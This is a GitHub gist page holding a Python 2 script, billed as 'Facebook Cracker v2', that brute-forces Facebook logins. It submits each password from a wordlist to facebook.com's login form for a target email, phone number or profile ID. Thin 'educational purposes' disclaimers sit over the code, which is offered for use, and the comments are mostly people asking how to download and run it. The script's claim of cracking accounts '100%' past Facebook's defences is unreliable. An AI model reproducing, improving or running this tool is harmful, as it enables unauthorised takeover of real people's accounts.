Skip to content

Instantly share code, notes, and snippets.

@zikazoka
Last active January 26, 2024 06:36
Show Gist options
  • Star 70 You must be signed in to star a gist
  • Fork 9 You must be signed in to fork a gist
  • Save zikazoka/a6e1d216e71ef34e14f7d5eb1fe46799 to your computer and use it in GitHub Desktop.
Save zikazoka/a6e1d216e71ef34e14f7d5eb1fe46799 to your computer and use it in GitHub Desktop.
this tool is used for crack facebook emails
#!usr/bin/python
#Facebook Cracker Version 2 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
#This program is for educational purposes only.
#Don't attack people facebook accounts it's illegal !
#If you want to crack into someone's account, you must have the permission of the user.
#Hazem is not responsible.
import sys
import random
import mechanize
import cookielib
GHT = '''
+=========================================+
|..........Facebook Cracker v 2...........|
+-----------------------------------------+
|#Author: Hazem gemy |
|#Contact: www.twitter.com/Hazem Gamal A |
|#Date: 23/10/2015 |
|#This tool is made for pentesting. |
|#Changing the Description of this tool |
|Won't made you the coder ^_^ !!! |
|#Respect Coderz ^_^ |
|#I take no responsibilities for the |
| use of this program ! |
+=========================================+
|..........Facebook Cracker v 2...........|
+-----------------------------------------+
'''
print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
print "# Hit CTRL+C to quit the program"
print "#thanks for using facebook,py crack"
email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
passwordlist = str(raw_input("Enter the name of the password list file : "))
useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
login = 'https://www.facebook.com/login.php?login_attempt=1'
def attack(password):
try:
sys.stdout.write("\r[*] trying %s.. " % password)
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr=0)
##Facebook
br.form['email'] =email
br.form['pass'] = password
br.submit()
log = br.geturl()
if log == login:
print "\n\n\n [*] Password found .. !!"
print "\n [*] Password : %s\n" % (password)
sys.exit(1)
except KeyboardInterrupt:
print "\n[*] Exiting program .. "
sys.exit(1)
def search():
global password
for password in passwords:
attack(password.replace("\n",""))
def check():
global br
global passwords
try:
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_robots(False)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_redirect(True)
br.set_cookiejar(cj)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
except KeyboardInterrupt:
print "\n[*] Exiting program ..\n"
sys.exit(1)
try:
list = open(passwordlist, "r")
passwords = list.readlines()
k = 0
while k < len(passwords):
passwords[k] = passwords[k].strip()
k += 1
except IOError:
print "\n [*] Error: check your password list path \n"
sys.exit(1)
except KeyboardInterrupt:
print "\n [*] Exiting program ..\n"
sys.exit(1)
try:
print GHT
print " [*] Account to crack : %s" % (email)
print " [*] Loaded :" , len(passwords), "passwords"
print " [*] Cracking, please wait ..."
except KeyboardInterrupt:
print "\n [*] Exiting program ..\n"
sys.exit(1)
try:
search()
attack(password)
except KeyboardInterrupt:
print "\n [*] Exiting program ..\n"
sys.exit(1)
if __name__ == '__main__':
check()
@061973627
Copy link

Nfndnjdjejqkwkkw jdjjde

@nyanzaw
Copy link

nyanzaw commented Sep 9, 2022

@Moreamor
Copy link

Where can i put it in

@Moreamor
Copy link

@manhdaothe
Copy link

How to download ?

@Rhekali22
Copy link

How can i download

@sphaemal
Copy link

Help how can I use it

@mtwiseman
Copy link

How to use it

@Fitznuel
Copy link

If you're browsing on Android Chrome to be precise, change your view mode to Desktop site. On the top right hand you'll see the download button. If you're on Laptop you're good to go

@Mi0735
Copy link

Mi0735 commented Apr 15, 2023

Android

@chinita305
Copy link

@chinita305
Copy link

I’ve been hacked and. I can’t access my account

@henzilla01
Copy link

how do i use it

@phoeunpin
Copy link

@XotaKazi
Copy link

how to use it?

@blaqweb
Copy link

blaqweb commented May 4, 2023

How to use

@pokrenz
Copy link

pokrenz commented May 21, 2023

Lot things to fix, and u still need password list anw

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment